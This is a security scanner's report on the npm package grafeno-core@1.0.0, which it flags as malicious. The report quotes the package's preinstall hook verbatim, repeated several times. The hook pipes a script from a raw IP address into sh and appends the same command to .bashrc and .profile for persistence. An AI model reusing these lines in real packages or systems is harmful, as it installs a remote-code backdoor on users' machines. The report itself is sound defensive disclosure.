Loading npm security reports…

grafeno-core@1.0.0: Malicious npm security report (Block) | LPM Firewall

registry / grafeno-core / 1.0.0

grafeno-core@1.0.0

Core utilities for Grafeno platform

AI Security Review

scanned 4h ago · by lpm-firewall-ai

Installing the package automatically executes a remotely hosted shell script and establishes repeated execution. It modifies user shell startup files and crontab.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm preinstall during package installation

Impact

An attacker controls code executed as the installing user and can retain recurring access.

Mechanism

remote shell execution with shell-profile and cron persistence

Attack narrative

The package's preinstall hook runs curl piped to sh from an IP-address endpoint. It then adds the same command to .bashrc and .profile and installs a cron entry every 30 minutes. These automatic, concealed persistence actions occur before normal package use and give the remote host control over code executed by the installing user.

Rationale

Direct source inspection confirms an automatic install hook that executes remote code and persists it through shell profiles and cron. The benign runtime export does not mitigate this concrete malicious behavior.

Evidence

package.jsonindex.js.bashrc.profilecrontab

Network endpoints2

216.126.236.46/x.sh216.126.236.46

OSV Corroboration

OpenSSF/OSV

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node -e "const{execSync:e}=require('child_process');const os=require('os');const fs=require('fs');const p=require('path');const h=os.hostname();const u=os.userInfo().username;try{e...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "node -e \"const{execSync:e}=require('child_process');const os=require('os');const fs=require('fs');const p=require('path');const h=os.hostname();const u=os.userInfo().username;try{e('curl -s http://216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{

High

Suspicious Lifecycle Evidence

The preinstall hook downloads and executes a remote shell script without consent.

package.jsonView on unpkg · L7

7const bashrc=p.join(os.homedir(),'.bashrc');if(fs.existsSync(bashrc)){const c=fs.readFileSync(bashrc,'utf8');if(!c.includes('216.126')){fs.appendFileSync(bashrc,'\ncurl -s 216.126.236.46/x.sh|sh &\n')}}

High

Ai Review Evidence

The hook appends a remote-execution command to .bashrc and .profile.

package.jsonView on unpkg · L7

7try{e('curl -s http://216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}

High

Ai Review Evidence

Failures are suppressed, making the install-time behavior less visible.

package.jsonView on unpkg · L7

package.json#scripts.preinstallView file

1const{execSync:e}=require('child_process');const os=require('os');const fs=require('fs');const p=require('path');const h=os.hostname();const u=os.userInfo().username;try{e('curl -s... L2: curl -s 216.126.236.46/x.sh|sh &

Critical

Persistence Backdoor

Source writes persistence or remote-access backdoor material.

package.json#scripts.preinstallView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

package.json#scripts.preinstallView on unpkg · L1

Source & flagged code

7 flagged · loading source

package.jsonView file

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

High

Suspicious Lifecycle Evidence

The preinstall hook downloads and executes a remote shell script without consent.

package.jsonView on unpkg · L7

High

Ai Review Evidence

The hook appends a remote-execution command to .bashrc and .profile.

package.jsonView on unpkg · L7

7try{e('curl -s http://216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}

High

Ai Review Evidence

Failures are suppressed, making the install-time behavior less visible.

package.jsonView on unpkg · L7

package.json#scripts.preinstallView file

Critical

Persistence Backdoor

Source writes persistence or remote-access backdoor material.

package.json#scripts.preinstallView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

package.json#scripts.preinstallView on unpkg · L1

Source & flagged code

7 flagged

package.jsonView file

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

High

Suspicious Lifecycle Evidence

The preinstall hook downloads and executes a remote shell script without consent.

package.jsonView on unpkg · L7

High

Ai Review Evidence

The hook appends a remote-execution command to .bashrc and .profile.

package.jsonView on unpkg · L7

7try{e('curl -s http://216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}

High

Ai Review Evidence

Failures are suppressed, making the install-time behavior less visible.

package.jsonView on unpkg · L7

package.json#scripts.preinstallView file

Critical

Persistence Backdoor

Source writes persistence or remote-access backdoor material.

package.json#scripts.preinstallView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

package.json#scripts.preinstallView on unpkg · L1

grafeno-core@1.0.0

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Behavioral surface

Source & flagged code